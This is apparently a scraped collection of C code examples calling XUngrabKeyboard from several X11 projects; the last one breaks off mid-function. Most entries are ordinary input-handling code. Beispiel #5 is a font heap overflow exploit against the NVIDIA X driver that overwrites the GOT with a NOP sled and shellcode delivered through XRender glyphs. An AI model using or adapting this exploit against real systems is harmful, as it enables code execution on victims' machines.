JNIEXPORT jint JNICALL Java_org_lwjgl_opengl_LinuxDisplay_nUngrabKeyboard(JNIEnv *env, jclass unused, jlong display_ptr) {
	Display *disp = (Display *)(intptr_t)display_ptr;
	return XUngrabKeyboard(disp, CurrentTime);
}
Beispiel #2
0
JNIEXPORT void JNICALL Java_sun_awt_X11_XlibWrapper_XUngrabKeyboard
(JNIEnv *env, jclass clazz, jlong display, jlong time)
{
    AWT_CHECK_HAVE_LOCK();   
    XUngrabKeyboard( (Display *)display, (Time) time);
}
Beispiel #3
0
struct menu *
menu_filter(struct screen_ctx *sc, struct menu_q *menuq, char *prompt,
    char *initial, int flags,
    void (*match)(struct menu_q *, struct menu_q *, char *),
    void (*print)(struct menu *, int))
{
	struct menu_ctx		 mc;
	struct menu_q		 resultq;
	struct menu		*mi = NULL;
	XEvent			 e;
	Window			 focuswin;
	int			 evmask, focusrevert;
	int			 xsave, ysave, xcur, ycur;

	TAILQ_INIT(&resultq);

	(void)memset(&mc, 0, sizeof(mc));

	xu_ptr_getpos(sc->rootwin, &mc.x, &mc.y);

	xsave = mc.x;
	ysave = mc.y;

	mc.sc = sc;
	mc.flags = flags;
	if (prompt != NULL) {
		evmask = MENUMASK | KEYMASK; /* accept keys as well */
		(void)strlcpy(mc.promptstr, prompt, sizeof(mc.promptstr));
		mc.hasprompt = 1;
	} else {
		evmask = MENUMASK;
		mc.list = 1;
	}

	if (initial != NULL)
		(void)strlcpy(mc.searchstr, initial, sizeof(mc.searchstr));
	else
		mc.searchstr[0] = '\0';

	mc.match = match;
	mc.print = print;
	mc.entry = mc.prev = -1;

	XSelectInput(X_Dpy, sc->menuwin, evmask);
	XMapRaised(X_Dpy, sc->menuwin);

	if (xu_ptr_grab(sc->menuwin, MENUGRABMASK,
	    Conf.cursor[CF_QUESTION]) < 0) {
		XUnmapWindow(X_Dpy, sc->menuwin);
		return (NULL);
	}

	XGetInputFocus(X_Dpy, &focuswin, &focusrevert);
	XSetInputFocus(X_Dpy, sc->menuwin, RevertToPointerRoot, CurrentTime);

	/* make sure keybindings don't remove keys from the menu stream */
	XGrabKeyboard(X_Dpy, sc->menuwin, True,
	    GrabModeAsync, GrabModeAsync, CurrentTime);

	for (;;) {
		mc.changed = 0;

		XWindowEvent(X_Dpy, sc->menuwin, evmask, &e);

		switch (e.type) {
		case KeyPress:
			if ((mi = menu_handle_key(&e, &mc, menuq, &resultq))
			    != NULL)
				goto out;
			/* FALLTHROUGH */
		case Expose:
			menu_draw(&mc, menuq, &resultq);
			break;
		case MotionNotify:
			menu_handle_move(&e, &mc, &resultq);
			break;
		case ButtonRelease:
			if ((mi = menu_handle_release(&e, &mc, &resultq))
			    != NULL)
				goto out;
			break;
		default:
			break;
		}
	}
out:
	if ((mc.flags & CWM_MENU_DUMMY) == 0 && mi->dummy) {
	       	/* no mouse based match */
		free(mi);
		mi = NULL;
	}

	XSetInputFocus(X_Dpy, focuswin, focusrevert, CurrentTime);
	/* restore if user didn't move */
	xu_ptr_getpos(sc->rootwin, &xcur, &ycur);
	if (xcur == mc.x && ycur == mc.y)
		xu_ptr_setpos(sc->rootwin, xsave, ysave);
	xu_ptr_ungrab();

	XMoveResizeWindow(X_Dpy, sc->menuwin, 0, 0, 1, 1);
	XUnmapWindow(X_Dpy, sc->menuwin);
	XUngrabKeyboard(X_Dpy, CurrentTime);

	return (mi);
}
Beispiel #4
0
void fgPlatformLeaveGameMode( void ) 
{
    XUngrabPointer( fgDisplay.pDisplay.Display, CurrentTime );
    XUngrabKeyboard( fgDisplay.pDisplay.Display, CurrentTime );
}
Beispiel #5
0
int
main(int argc, char *argv[])
{
    Display *display;
    Widget toplevel;
    XtAppContext app_con;
    XEvent event;
    char c, *string;
    unsigned int i;
    XDataStr *data;
    XExposeEvent *expose = (XExposeEvent *)&event;
    unsigned int heapaddr, gotaddr;

    if (argc > 2)
    {
        heapaddr = strtoul(argv[1],NULL,0);
        gotaddr  = strtoul(argv[2],NULL,0);
    }
    else
    {
        printf("Usage: %s <HEAPADDR> <GOTADDR>\n\n", argv[0]);
        return 0;
    }

    toplevel = XtAppInitialize(&app_con, "XSafe", NULL, 0,
                               &argc, argv, NULL, NULL, 0);
    display = XtDisplay(toplevel);

    data = (XDataStr *)malloc(sizeof(XDataStr));
    if (data == NULL) {
        perror("malloc");
        exit(EXIT_FAILURE);
    }

    data->display = display;
    data->app = app_con;

    if (createWin(data) < 0) {
        fprintf(stderr, "can't create Data Window");
        exit(EXIT_FAILURE);
    }
    show(data);

    signal(SIGINT, sigHandler);
    signal(SIGHUP, sigHandler);
    signal(SIGQUIT, sigHandler);
    signal(SIGTERM, sigHandler);

    /************************************************************************
     * BEGIN FONT HEAP OVERFLOW SETUP CODE
     *
     * "It's so hard to write a graphics driver that open-sourcing it would
     *  not help."
     *    - Andrew Fear, Software Product Manager (NVIDIA Corporation).
     **********************************************************************/
    XGlyphInfo * glyphs;
    XRenderPictFormat fmt;
    XRenderPictFormat *mask = 0;
    GlyphSet gset;
    char * buf =0;
    int offset, cr, numB;
    int xscreenpos  = 32680;
    int magic_len   = 32768 - xscreenpos;
    int wr_addr_len = 3548;
    int wr_nop_len  = 200;

    /* Calculate the offset to the Global Offset Table.
     * 0x2C0000 is the size of the buffer the NVIDIA driver
     * allocates for us when it is about to draw.
     */
    offset = gotaddr-(heapaddr-0x2C0000);
    offset += magic_len;
    glyphs = malloc(sizeof(XGlyphInfo)*3);

    /* Payload glyph */
    glyphs[0].width = 0x4000; /* One contiguous buffer of 16K... way more than necessary */
    glyphs[0].height = 1;
    glyphs[0].yOff = 0;
    glyphs[0].xOff = glyphs[0].width;
    glyphs[0].x = 0;
    glyphs[0].y = 0;

    /* Large offset glyph (untweaked) */
    glyphs[1].width=0;
    glyphs[1].height=0;
    glyphs[1].yOff=32767;
    glyphs[1].xOff=0;
    glyphs[1].x = 0;
    glyphs[1].y = 0;

    /* Small offset glyph (tweaked) */
    glyphs[2].width=0;
    glyphs[2].height=0;
    glyphs[2].yOff=0;
    glyphs[2].xOff=0;
    glyphs[2].x = 0;
    glyphs[2].y = 0;

    fmt.type = PictTypeDirect;
    fmt.depth = 8;

    Glyph * xglyphids = malloc(3*sizeof(Glyph));

    xglyphids[0] = 'A';
    xglyphids[1] = 'B';
    xglyphids[2] = 'C';

    int stride = ((glyphs[0].width*1)+3)&~3; /* Needs to be DWORD aligned */
    int bufsize = stride*glyphs[0].height;
    buf = malloc(bufsize);

    /* Write jump address to the buffer a number of times */
    for (cr=0; cr<wr_addr_len; cr+=4)
    {
        *((unsigned int*)((unsigned char*)buf + cr)) = gotaddr+wr_addr_len+4;
    }

    /* Write the NOP instructions until wr_nop_len */
    memset(buf+wr_addr_len, 0x90 /* NOP */, wr_nop_len);

    /* Write the shellcode */
    cr+=wr_nop_len;
    memcpy(buf+cr, shellcode, sizeof(shellcode));

    /* Calculate the number of B's required to send */
    numB = offset / (glyphs[1].yOff * magic_len);

    /* We send only one C, but we change its yOff value according to
     * how much space we have left before we meet the correct index length */
    glyphs[2].yOff = (offset - (numB * glyphs[1].yOff * magic_len)) / (magic_len);

    /* Now create a new buffer for the string data */
    string = malloc(numB+1/*numC*/+1/*numA*/+1/*NULL*/);
    for (cr=0; cr<numB; cr++)   string[cr] = 'B';
    string[cr] = 'C';
    cr++;
    string[cr] = 'A';
    cr++;
    string[cr] =  0;

    mask = XRenderFindFormat(display, PictFormatType|PictFormatDepth, &fmt, 0);
    gset = XRenderCreateGlyphSet(display, mask);

    if (mask)
    {
        /* Ask the server to tie the glyphs to the glyphset we created,
         * with our addr/nopslide/shellcode buffer as the alpha data.
         */
        XRenderAddGlyphs(display, gset, xglyphids, glyphs, 3, buf, bufsize);
    }
    /* END FONT HEAP OVERFLOW SETUP CODE */

    done = 0;
    while (!done) {
        XNextEvent(display, &event);
        switch(event.type) {
        case KeyPress:
            i = XLookupString(&event.xkey, &c, 1, NULL, NULL);
            if ((i == 1) && ((c == 'q') || (c == 'Q'))) {
                done = 1;
            }
            break;
        case Expose:
            XftDrawRect(data->draw, &data->bg,
                        expose->x, expose->y,
                        expose->width, expose->height);
            /* Send malignant glyphs and execute shellcode on target */
            XRenderCompositeString8(display, PictOpOver,
                                    XftDrawSrcPicture(data->draw, &data->color),
                                    XftDrawPicture(data->draw), mask, gset,
                                    0, 0, xscreenpos, 0, string, strlen(string));
            break;
        }
    }

    free(glyphs);
    free(xglyphids);
    free(buf);
    free(string);

    XFlush(display);
    XUnmapWindow(data->display, data->win);
    XUngrabKeyboard(data->display, CurrentTime);
    XCloseDisplay(display);
    exit(EXIT_SUCCESS);
}
Beispiel #6
0
int
XMenuActivate(
    register Display *display,		/* Display to put menu on. */
    register XMenu *menu,		/* Menu to activate. */
    int *p_num,				/* Pane number selected. */
    int *s_num,				/* Selection number selected. */
    int x_pos,				/* X coordinate of menu position. */
    int y_pos,				/* Y coordinate of menu position. */
    unsigned int event_mask,		/* Mouse button event mask. */
    char **data,			/* Pointer to return data value. */
    void (*help_callback) (char const *, int, int)) /* Help callback.  */
{
    int status;				/* X routine call status. */
    int orig_x;				/* Upper left menu origin X coord. */
    int orig_y;				/* Upper left menu origin Y coord. */
    int ret_val;			/* Return value. */

    register XMPane *p_ptr;		/* Current XMPane. */
    register XMPane *event_xmp;		/* Event XMPane pointer. */
    register XMPane *cur_p;		/* Current pane. */
    register XMSelect *cur_s;		/* Current selection. */
    XMWindow *event_xmw;		/* Event XMWindow pointer. */
    XEvent event;			/* X input event. */
    XEvent peek_event;			/* X input peek ahead event. */

    Bool selection = False;		/* Selection has been made. */
    Bool forward = True;		/* Moving forward in the pane list. */

    Window root, child;
    int root_x, root_y, win_x, win_y;
    unsigned int mask;
    KeySym keysym;

    /*
     * Define and allocate a foreign event queue to hold events
     * that don't belong to XMenu.  These events are later restored
     * to the X event queue.
     */
    typedef struct _xmeventque {
	XEvent event;
	struct _xmeventque *next;
    } XMEventQue;

    XMEventQue *feq = NULL;    		/* Foreign event queue. */
    XMEventQue *feq_tmp;		/* Foreign event queue temporary. */

    /*
     * If there are no panes in the menu then return failure
     * because the menu is not initialized.
     */
    if (menu->p_count == 0) {
	_XMErrorCode = XME_NOT_INIT;
	return(XM_FAILURE);
    }

    /*
     * Find the desired current pane.
     */
    cur_p = _XMGetPanePtr(menu, *p_num);
    if (cur_p == NULL) {
	return(XM_FAILURE);
    }
    cur_p->activated = cur_p->active;

    /*
     * Find the desired current selection.
     * If the current selection index is out of range a null current selection
     * will be assumed and the cursor will be placed in the current pane
     * header.
     */
    cur_s = _XMGetSelectionPtr(cur_p, *s_num);

    /*
     * Compute origin of menu so that cursor is in
     * Correct pane and selection.
     */
    _XMTransToOrigin(display,
		     menu,
		     cur_p, cur_s,
		     x_pos, y_pos,
		     &orig_x, &orig_y);
    menu->x_pos = orig_x;	/* Store X and Y coords of menu. */
    menu->y_pos = orig_y;

    if (XMenuRecompute(display, menu) == XM_FAILURE) {
	return(XM_FAILURE);
    }

    /*
     * Flush the window creation queue.
     * This batches all window creates since lazy evaluation
     * is more efficient than individual evaluation.
     * This routine also does an XFlush().
     */
    if (_XMWinQueFlush(display, menu, cur_p, cur_s) == _FAILURE) {
	return(XM_FAILURE);
    }

    /*
     * Make sure windows are in correct order (in case we were passed
     * an already created menu in incorrect order.)
     */
    for(p_ptr = menu->p_list->next; p_ptr != cur_p; p_ptr = p_ptr->next)
	XRaiseWindow(display, p_ptr->window);
    for(p_ptr = menu->p_list->prev; p_ptr != cur_p->prev; p_ptr = p_ptr->prev)
	XRaiseWindow(display, p_ptr->window);

    /*
     * Make sure all selection windows are mapped.
     */
    for (
	p_ptr = menu->p_list->next;
	p_ptr != menu->p_list;
	p_ptr = p_ptr->next
    ){
	XMapSubwindows(display, p_ptr->window);
    }

    /*
     * Synchronize the X buffers and the event queue.
     * From here on, all events in the queue that don't belong to
     * XMenu are sent back to the application via an application
     * provided event handler or discarded if the application has
     * not provided an event handler.
     */
    XSync(display, 0);

    /*
     * Grab the mouse for menu input.
     */

    status = XGrabPointer(
			  display,
			  menu->parent,
			  True,
			  event_mask,
			  GrabModeAsync,
			  GrabModeAsync,
			  None,
			  menu->mouse_cursor,
			  CurrentTime
			  );
    if (status == Success && x_menu_grab_keyboard)
      {
        status = XGrabKeyboard (display,
                                menu->parent,
                                False,
                                GrabModeAsync,
                                GrabModeAsync,
                                CurrentTime);
        if (status != Success)
          XUngrabPointer(display, CurrentTime);
      }

    if (status == _X_FAILURE) {
	_XMErrorCode = XME_GRAB_MOUSE;
	return(XM_FAILURE);
    }

    /*
     * Map the menu panes.
     */
    XMapWindow(display, cur_p->window);
    for (p_ptr = menu->p_list->next;
	 p_ptr != cur_p;
	 p_ptr = p_ptr->next)
      XMapWindow(display, p_ptr->window);
    for (p_ptr = cur_p->next;
	 p_ptr != menu->p_list;
	 p_ptr = p_ptr->next)
      XMapWindow(display, p_ptr->window);

    XRaiseWindow(display, cur_p->window);	/* Make sure current */
						/* pane is on top. */

    cur_s = NULL;			/* Clear current selection. */

    /*
     * Begin event processing loop.
     */
    while (1) {
        if (wait_func) (*wait_func) (wait_data);
	XNextEvent(display, &event);	/* Get next event. */
	switch (event.type) {		/* Dispatch on the event type. */
    case Expose:
	    event_xmp = (XMPane *)XLookUpAssoc(display,
					       menu->assoc_tab,
					       event.xexpose.window);
	    if (event_xmp == NULL) {
		/*
		 * If AEQ mode is enabled then queue the event.
		 */
		if (menu->aeq) {
		    feq_tmp = (XMEventQue *)malloc(sizeof(XMEventQue));
		    if (feq_tmp == NULL) {
			_XMErrorCode = XME_CALLOC;
			return(XM_FAILURE);
		    }
		    feq_tmp->event = event;
		    feq_tmp->next = feq;
		    feq = feq_tmp;
		}
		else if (_XMEventHandler) (*_XMEventHandler)(&event);
		break;
	    }
	    if (event_xmp->activated) {
		XSetWindowBackground(display,
				     event_xmp->window,
				     menu->bkgnd_color);
	    }
	    else {
		XSetWindowBackgroundPixmap(display,
					   event_xmp->window,
					   menu->inact_pixmap);
	    }
	    _XMRefreshPane(display, menu, event_xmp);
	    break;
    case EnterNotify:
	    /*
	     * First wait a small period of time, and see
	     * if another EnterNotify event follows hard on the
	     * heels of this one. i.e., the user is simply
	     * "passing through". If so, ignore this one.
	     */

	    event_xmw = (XMWindow *)XLookUpAssoc(display,
						 menu->assoc_tab,
						 event.xcrossing.window);
	    if (event_xmw == NULL) break;
	    if (event_xmw->type == SELECTION) {
		/*
		 * We have entered a selection.
		 */
		/* if (XPending(display) == 0) usleep(150000); */
		if (XPending(display) != 0) {
		    XPeekEvent(display, &peek_event);
		    if(peek_event.type == LeaveNotify) {
			break;
		    }
		}
		cur_s = (XMSelect *)event_xmw;
		help_callback (cur_s->help_string,
			       cur_p->serial, cur_s->serial);

		/*
		 * If the pane we are in is active and the
		 * selection entered is active then activate
		 * the selection.
		 */
		if (cur_p->active && cur_s->active > 0) {
		    cur_s->activated = 1;
		    _XMRefreshSelection(display, menu, cur_s);
		}
	    }
	    else {
		/*
		 * We have entered a pane.
		 */
		/* if (XPending(display) == 0) usleep(150000); */
		if (XPending(display) != 0) {
		    XPeekEvent(display, &peek_event);
		    if (peek_event.type == EnterNotify) break;
		}
		XQueryPointer(display,
			      menu->parent,
			      &root, &child,
			      &root_x, &root_y,
			      &win_x, &win_y,
			      &mask);
		event_xmp = (XMPane *)XLookUpAssoc(display,
						   menu->assoc_tab,
						   child);
		if (event_xmp == NULL) break;
		if (event_xmp == cur_p) break;
		if (event_xmp->serial > cur_p->serial) forward = True;
		else forward = False;
		p_ptr = cur_p;
		while (p_ptr != event_xmp) {
		    if (forward) p_ptr = p_ptr->next;
		    else p_ptr = p_ptr->prev;
		    XRaiseWindow(display, p_ptr->window);
		}
		if (cur_p->activated) {
		    cur_p->activated = False;
		    XSetWindowBackgroundPixmap(display,
					       cur_p->window,
					       menu->inact_pixmap);
		    _XMRefreshPane(display, menu, cur_p);
		}
		if (event_xmp->active) event_xmp->activated = True;
#if 1
		/*
		 * i suspect the we don't get an EXPOSE event when backing
		 * store is enabled; the menu windows content is probably
		 * not drawn in when it should be in that case.
		 * in that case, this is probably an ugly fix!
		 * i hope someone more familiar with this code would
		 * take it from here.  -- [email protected].
		 */
		XSetWindowBackground(display,
				     event_xmp->window,
				     menu->bkgnd_color);
		_XMRefreshPane(display, menu, event_xmp);
#endif
		cur_p = event_xmp;
	    }
	    break;
    case LeaveNotify:
	    event_xmw = (XMWindow *)XLookUpAssoc(
						 display,
						 menu->assoc_tab,
						 event.xcrossing.window
						 );
	    if (event_xmw == NULL) break;
	    if(cur_s == NULL) break;

	    /*
	     * If the current selection was activated then
	     * deactivate it.
	     */
	    if (cur_s->activated) {
		cur_s->activated = False;
		_XMRefreshSelection(display, menu, cur_s);
	    }
	    cur_s = NULL;
	    break;

    case ButtonPress:
    case ButtonRelease:
		*p_num = cur_p->serial;
		/*
		 * Check to see if there is a current selection.
		 */
		if (cur_s != NULL) {
		    /*
		     * Set the selection number to the current selection.
		     */
		    *s_num = cur_s->serial;
		    /*
		     * If the current selection was activated then
		     * we have a valid selection otherwise we have
		     * an inactive selection.
		     */
		    if (cur_s->activated) {
			*data = cur_s->data;
			ret_val = XM_SUCCESS;
		    }
		    else {
			ret_val = XM_IA_SELECT;
		    }
		}
		else {
		    /*
		     * No selection was current.
		     */
		    ret_val = XM_NO_SELECT;
		}
		selection = True;
		break;
        case KeyPress:
        case KeyRelease:
                keysym = XLookupKeysym (&event.xkey, 0);

                /* Pop down on C-g and Escape.  */
                if ((keysym == XK_g && (event.xkey.state & ControlMask) != 0)
                    || keysym == XK_Escape) /* Any escape, ignore modifiers.  */
                  {
                    ret_val = XM_NO_SELECT;
                    selection = True;
                  }
               break;
	    default:
		/*
		 * If AEQ mode is enabled then queue the event.
		 */
		if (menu->aeq) {
		    feq_tmp = (XMEventQue *)malloc(sizeof(XMEventQue));
		    if (feq_tmp == NULL) {
			_XMErrorCode = XME_CALLOC;
			return(XM_FAILURE);
		    }
		    feq_tmp->event = event;
		    feq_tmp->next = feq;
		    feq = feq_tmp;
		}
		else if (_XMEventHandler) (*_XMEventHandler)(&event);
	}
	/*
	 * If a selection has been made, break out of the event loop.
	 */
	if (selection == True) break;
    }

    /*
     * Unmap the menu.
     */
    for ( p_ptr = menu->p_list->next;
	 p_ptr != menu->p_list;
	 p_ptr = p_ptr->next)
      {
	  XUnmapWindow(display, p_ptr->window);
      }

    /*
     * Ungrab the mouse.
     */
    XUngrabPointer(display, CurrentTime);
    XUngrabKeyboard(display, CurrentTime);

    /*
     * Restore bits under where the menu was if we managed
     * to save them and free the pixmap.
     */

    /*
     * If there is a current selection deactivate it.
     */
    if (cur_s != NULL) cur_s->activated = 0;

    /*
     * Deactivate the current pane.
     */
    cur_p->activated = 0;
    XSetWindowBackgroundPixmap(display, cur_p->window, menu->inact_pixmap);

    /*
     * Synchronize the X buffers and the X event queue.
     */
    XSync(display, 0);

    /*
     * Dispatch any events remaining on the queue.
     */
    while (QLength(display)) {
	/*
	 * Fetch the next event.
	 */
	XNextEvent(display, &event);

	/*
	 * Discard any events left on the queue that belong to XMenu.
	 * All others are held and then returned to the event queue.
	 */
	switch (event.type) {
	    case Expose:
	    case EnterNotify:
	    case LeaveNotify:
	    case ButtonPress:
	    case ButtonRelease:
		/*
		 * Does this event belong to one of XMenu's windows?
		 * If so, discard it and process the next event.
		 * If not fall through and treat it as a foreign event.
		 */
		event_xmp = (XMPane *)XLookUpAssoc(
						   display,
						   menu->assoc_tab,
						   event.xbutton.window
						   );
		if (event_xmp != NULL) continue;
	    default:
		/*
		 * This is a foreign event.
		 * Queue it for later return to the X event queue.
		 */
		feq_tmp = (XMEventQue *)malloc(sizeof(XMEventQue));
		if (feq_tmp == NULL) {
		    _XMErrorCode = XME_CALLOC;
		    return(XM_FAILURE);
		}
		feq_tmp->event = event;
		feq_tmp->next = feq;
		feq = feq_tmp;
	    }
    }
    /*
     * Return any foreign events that were queued to the X event queue.
     */
    while (feq != NULL) {
	feq_tmp = feq;
	XPutBackEvent(display, &feq_tmp->event);
	feq = feq_tmp->next;
	free((char *)feq_tmp);
    }

    wait_func = 0;

    /*
     * Return successfully.
     */
    _XMErrorCode = XME_NO_ERROR;
    return(ret_val);

}
Beispiel #7
0
static void install_grabs( void )
{
	int res;
	int fevent;

	assert( x11display.dpy && x11display.win );

	if( !x11display.features.wmStateFullscreen )
	{
		res = XGrabKeyboard( x11display.dpy, x11display.win, False, GrabModeAsync, GrabModeAsync, CurrentTime );
		if( res != GrabSuccess )
		{
			Com_Printf( "Warning: XGrabKeyboard failed\n" );
			return;
		}
	}

	XDefineCursor( x11display.dpy, x11display.win, CreateNullCursor( x11display.dpy, x11display.win ) );

	res = XGrabPointer( x11display.dpy, x11display.win, True, 0, GrabModeAsync, GrabModeAsync, x11display.win, None, CurrentTime );
	if( res != GrabSuccess )
	{
		// TODO: Find a solution to Pointer Grabs at focus changes, which sometimes result
		// in Grabbing Errors. Like switches from Windowed/Fullscreen to Hidden State.
		//Com_Printf( "Warning: XGrabPointer failed\n" );
		XUngrabKeyboard( x11display.dpy, CurrentTime );
		XUndefineCursor( x11display.dpy, x11display.win );
		return;
	}

	if( in_dgamouse->integer )
	{
		int MajorVersion, MinorVersion;

		if( XF86DGAQueryVersion( x11display.dpy, &MajorVersion, &MinorVersion ) )
		{
			XF86DGADirectVideo( x11display.dpy, x11display.scr, XF86DGADirectMouse );
			XWarpPointer( x11display.dpy, None, x11display.win, 0, 0, 0, 0,
				x11display.win_width/2, x11display.win_height/2 );
			dgamouse = qtrue;
		}
		else
		{
			// unable to query, probalby not supported
			Com_Printf( "Failed to detect XF86DGA Mouse\n" );
			Cvar_Set( "in_dgamouse", "0" );
			dgamouse = qfalse;
		}
	}
	else
	{
		XWarpPointer( x11display.dpy, None, x11display.win, 0, 0, 0, 0,
			x11display.win_width/2, x11display.win_height/2 );
	}

	ignore_one = qtrue; // first mouse update after install_grabs is ignored
	mx = my = 0;
	mouse_active = qtrue;

	in_dgamouse->modified = qfalse;

	input_active = qtrue;

	// init X Input method, needed by Xutf8LookupString
	x11display.im = XOpenIM( x11display.dpy, NULL, NULL, NULL );
	x11display.ic = XCreateIC( x11display.im,
		XNInputStyle, XIMPreeditNothing | XIMStatusNothing,
		XNClientWindow, x11display.win,
		NULL );
	if ( x11display.ic )
	{
		XGetICValues( x11display.ic, XNFilterEvents, &fevent, NULL );
		XSelectInput( x11display.dpy, x11display.win, fevent | x11display.wa.event_mask );
	}
}
Beispiel #8
0
void AnalyzeKeyEvent(int pad, keyEvent &evt)
{
	KeySym key = (KeySym)evt.key;
	int index = get_keyboard_key(pad, key);

	switch (evt.evt)
	{
		case KeyPress:
			// Shift F12 is not yet use by pcsx2. So keep it to grab/ungrab input
			// I found it very handy vs the automatic fullscreen detection
			// 1/ Does not need to detect full-screen
			// 2/ Can use a debugger in full-screen
			// 3/ Can grab input in window without the need of a pixelated full-screen
			if (key == XK_Shift_R || key == XK_Shift_L) s_Shift = true;
			if (key == XK_F12 && s_Shift) {
				if(!s_grab_input) {
					s_grab_input = true;
					XGrabPointer(GSdsp, GSwin, True, ButtonPressMask, GrabModeAsync, GrabModeAsync, GSwin, None, CurrentTime);
					XGrabKeyboard(GSdsp, GSwin, True, GrabModeAsync, GrabModeAsync, CurrentTime);
				} else {
					s_grab_input = false;
					XUngrabPointer(GSdsp, CurrentTime);
					XUngrabKeyboard(GSdsp, CurrentTime);
				}
			}

			// Analog controls.
			if (IsAnalogKey(index))
			{
				switch (index)
				{
					case PAD_R_LEFT:
					case PAD_R_UP:
					case PAD_L_LEFT:
					case PAD_L_UP:
						key_status->press(pad, index, -MAX_ANALOG_VALUE);
						break;
					case PAD_R_RIGHT:
					case PAD_R_DOWN:
					case PAD_L_RIGHT:
					case PAD_L_DOWN:
						key_status->press(pad, index, MAX_ANALOG_VALUE);
						break;
				}
			} else if (index != -1)
				key_status->press(pad, index);

			//PAD_LOG("Key pressed:%d\n", index);

			event.evt = KEYPRESS;
			event.key = key;
			break;

		case KeyRelease:
			if (key == XK_Shift_R || key == XK_Shift_L) s_Shift = false;

			if (index != -1)
				key_status->release(pad, index);

			event.evt = KEYRELEASE;
			event.key = key;
			break;

		case FocusIn:
			//XAutoRepeatOff(GSdsp);
			break;

		case FocusOut:
			//XAutoRepeatOn(GSdsp);
			s_Shift = false;
			break;

		case ButtonPress:
			if (index != -1)
				key_status->press(pad, index);
			break;

		case ButtonRelease:
			if (index != -1)
				key_status->release(pad, index);
			break;

		case MotionNotify:
			// FIXME: How to handle when the mouse does not move, no event generated!!!
			// 1/ small move == no move. Cons : can not do small movement
			// 2/ use a watchdog timer thread
			// 3/ ??? idea welcome ;)
			if (conf->pad_options[pad].mouse_l|conf->pad_options[pad].mouse_r)  {
				unsigned int pad_x;
				unsigned int pad_y;
				// Note when both PADOPTION_MOUSE_R and PADOPTION_MOUSE_L are set, take only the right one
				if (conf->pad_options[pad].mouse_r) {
					pad_x = PAD_R_RIGHT;
					pad_y = PAD_R_UP;
				} else {
					pad_x = PAD_L_RIGHT;
					pad_y = PAD_L_UP;
				}

				unsigned x = evt.key & 0xFFFF;
				unsigned int value = (s_previous_mouse_x > x) ? s_previous_mouse_x - x : x - s_previous_mouse_x;
				value *= conf->get_sensibility();

				if (x == 0)
					key_status->press(pad, pad_x, -MAX_ANALOG_VALUE);
				else if (x == 0xFFFF)
					key_status->press(pad, pad_x, MAX_ANALOG_VALUE);
				else if (x < (s_previous_mouse_x -2))
					key_status->press(pad, pad_x, -value);
				else if (x > (s_previous_mouse_x +2))
					key_status->press(pad, pad_x, value);
				else
					key_status->release(pad, pad_x);


				unsigned y = evt.key >> 16;
				value = (s_previous_mouse_y > y) ? s_previous_mouse_y - y : y - s_previous_mouse_y;
				value *= conf->get_sensibility();

				if (y == 0)
					key_status->press(pad, pad_y, -MAX_ANALOG_VALUE);
				else if (y == 0xFFFF)
					key_status->press(pad, pad_y, MAX_ANALOG_VALUE);
				else if (y < (s_previous_mouse_y -2))
					key_status->press(pad, pad_y, -value);
				else if (y > (s_previous_mouse_y +2))
					key_status->press(pad, pad_y, value);
				else
					key_status->release(pad, pad_y);

				s_previous_mouse_x = x;
				s_previous_mouse_y = y;
			}

			break;
	}
Beispiel #9
0
LOCAL_SYMBOL gboolean
meta_begin_modal_for_plugin (MetaScreen       *screen,
                             MetaPlugin       *plugin,
                             Window            grab_window,
                             Cursor            cursor,
                             MetaModalOptions  options,
                             guint32           timestamp)
{
    /* To some extent this duplicates code in meta_display_begin_grab_op(), but there
     * are significant differences in how we handle grabs that make it difficult to
     * merge the two.
     */
    MetaDisplay    *display    = meta_screen_get_display (screen);
    Display        *xdpy       = meta_display_get_xdisplay (display);
    MetaCompositor *compositor = display->compositor;
    gboolean pointer_grabbed = FALSE;
    gboolean keyboard_grabbed = FALSE;
    int result;

    if (compositor->modal_plugin != NULL || display->grab_op != META_GRAB_OP_NONE)
        return FALSE;

    if ((options & META_MODAL_POINTER_ALREADY_GRABBED) == 0)
    {
        result = XGrabPointer (xdpy, grab_window,
                               False, /* owner_events */
                               (ButtonPressMask | ButtonReleaseMask |
                                EnterWindowMask | LeaveWindowMask | PointerMotionMask),
                               GrabModeAsync, GrabModeAsync,
                               None, /* confine to */
                               cursor,
                               timestamp);
        if (result != Success)
            goto fail;

        pointer_grabbed = TRUE;
    }

    if ((options & META_MODAL_KEYBOARD_ALREADY_GRABBED) == 0)
    {
        result = XGrabKeyboard (xdpy, grab_window,
                                False, /* owner_events */
                                GrabModeAsync, GrabModeAsync,
                                timestamp);

        if (result != Success)
            goto fail;

        keyboard_grabbed = TRUE;
    }

    display->grab_op = META_GRAB_OP_COMPOSITOR;
    display->grab_window = NULL;
    display->grab_screen = screen;
    display->grab_have_pointer = TRUE;
    display->grab_have_keyboard = TRUE;

    compositor->modal_plugin = plugin;

    return TRUE;

fail:
    if (pointer_grabbed)
        XUngrabPointer (xdpy, timestamp);
    if (keyboard_grabbed)
        XUngrabKeyboard (xdpy, timestamp);

    return FALSE;
}
static void
global_filter_fn (XEvent *xevent, void *data)
{
  SpiDEController *controller;
  DEControllerPrivateData *priv;
  Display *display = spi_get_display ();
  controller = SPI_DEVICE_EVENT_CONTROLLER (data);
  priv = controller->priv;

  if (xevent->type == MappingNotify)
    xmkeymap = NULL;

  if (xevent->type == KeyPress || xevent->type == KeyRelease)
    {
      if (priv->xevie_display == NULL)
        {
          gboolean is_consumed;

          is_consumed =
            spi_device_event_controller_forward_key_event (controller, xevent);

          if (is_consumed)
            {
              int n_events;
              int i;
              XEvent next_event;
              n_events = XPending (display);

#ifdef SPI_KEYEVENT_DEBUG
              g_print ("Number of events pending: %d\n", n_events);
#endif
              for (i = 0; i < n_events; i++)
                {
                  XNextEvent (display, &next_event);
		  if (next_event.type != KeyPress &&
		      next_event.type != KeyRelease)
			g_warning ("Unexpected event type %d in queue", next_event.type);
                 }

              XAllowEvents (display, AsyncKeyboard, CurrentTime);
              if (n_events)
                XUngrabKeyboard (display, CurrentTime);
            }
          else
            {
              if (xevent->type == KeyPress)
                wait_for_release_event (xevent, controller);
              XAllowEvents (display, ReplayKeyboard, CurrentTime);
            }
        }

      return;
    }
  if (xevent->type == ButtonPress || xevent->type == ButtonRelease)
    {
      spi_device_event_controller_forward_mouse_event (controller, xevent);
    }
  if (xevent->type == priv->xkb_base_event_code)
    {
      XkbAnyEvent * xkb_ev = (XkbAnyEvent *) xevent;
      /* ugly but probably necessary...*/
      XSynchronize (display, TRUE);

      if (xkb_ev->xkb_type == XkbStateNotify)
        {
	  XkbStateNotifyEvent *xkb_snev =
		  (XkbStateNotifyEvent *) xkb_ev;
